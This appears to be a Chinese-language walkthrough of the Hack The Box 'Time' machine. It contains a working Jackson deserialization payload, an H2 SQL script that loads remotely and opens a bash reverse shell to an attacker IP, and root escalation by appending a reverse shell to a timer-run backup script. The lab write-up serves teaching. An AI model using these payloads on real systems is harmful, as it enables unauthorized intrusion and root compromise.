> 文章列表 > HTB-Time

HTB-Time

HTB-Time

HTB-Time

  • 信息收集
    • 80端口
  • 立足
  • pericles -> root

HTB-Time

信息收集

HTB-Time
HTB-Time

80端口

HTB-Time
有两个功能,一个是美化JSON数据。

HTB-Time

一个是验证JSON,并且输入{“abc”:“abc”}之类的会出现报错
HTB-Time

Validation failed: Unhandled Java exception:
com.fasterxml.jackson.core.JsonParseException: Unexpected character
(‘’’ (code 39)): expected a valid value (number, String, array,
object, ‘true’, ‘false’ or ‘null’)

根据报错可知是java jackson的报错。有关java jackson的漏洞非常多。其中有一篇文章提到几个负载。

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://10.10.14.31:4443/~test"}]

HTB-Time

立足

新建一个文件名为inject1.sql。

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {String[] command = {"bash", "-c", cmd};java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\\\A");return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.31/443 0>&1')

python开启http.server。然后在验证功能下输入:

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.31:8000/inject1.sql'"}]

HTB-Time

pericles -> root

pspy64可以看到有一个timer_backup.sh没几秒种就会运行一次。
HTB-Time
内容如下:

#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip

以及/usr/bin/systemctl restart web_backup.service
HTB-Time
查找web_backup.service并查看内容:

find / -name web_backup.service -type f 2>/dev/null
/etc/systemd/system/web_backup.servicepericles@time:/tmp$ cat /etc/systemd/system/web_backup.service
[Unit]
Description=Creates backups of the website[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh

因为隔几秒种会重启web_backup.service,web_backup.service服务又会运行/usr/bin/timer_backup.sh。

还有一个/bin/sh -c /usr/bin/systemctl restart timer_backup.timer,不过我暂时不需要,留在这备用。
HTB-Time
我们能写入timer_backup.sh但是时间任务并没执行我写入的内容,可能还有时间任务先对timer_backup.sh进行重置再运行。顺序是某个东西启动web_backup.serviceweb_backup.service启动timer_backup.sh。但是我没找到那个东西是什么。所以我决定再尝试对timer_backup.sh追加写入试试。向末尾添加cp /bin/bash /tmp/bash;chmod u+s /tmp/bash后等待片刻后仍无任何成功迹象。写入reshell到/usr/bin/timer_backup.sh里能成功。

 echo -e '\\nbash -i >& /dev/tcp/10.10.14.31/4443 0>&1' >> /usr/bin/timer_backup.sh

但是几秒钟后就没了。
HTB-Time
可以用echo “chmod u+s /bin/bash” 修改/bin/bash,但为什么不能复制过来后再修改呢。
HTB-Time
我不知道。
在这里插入图片描述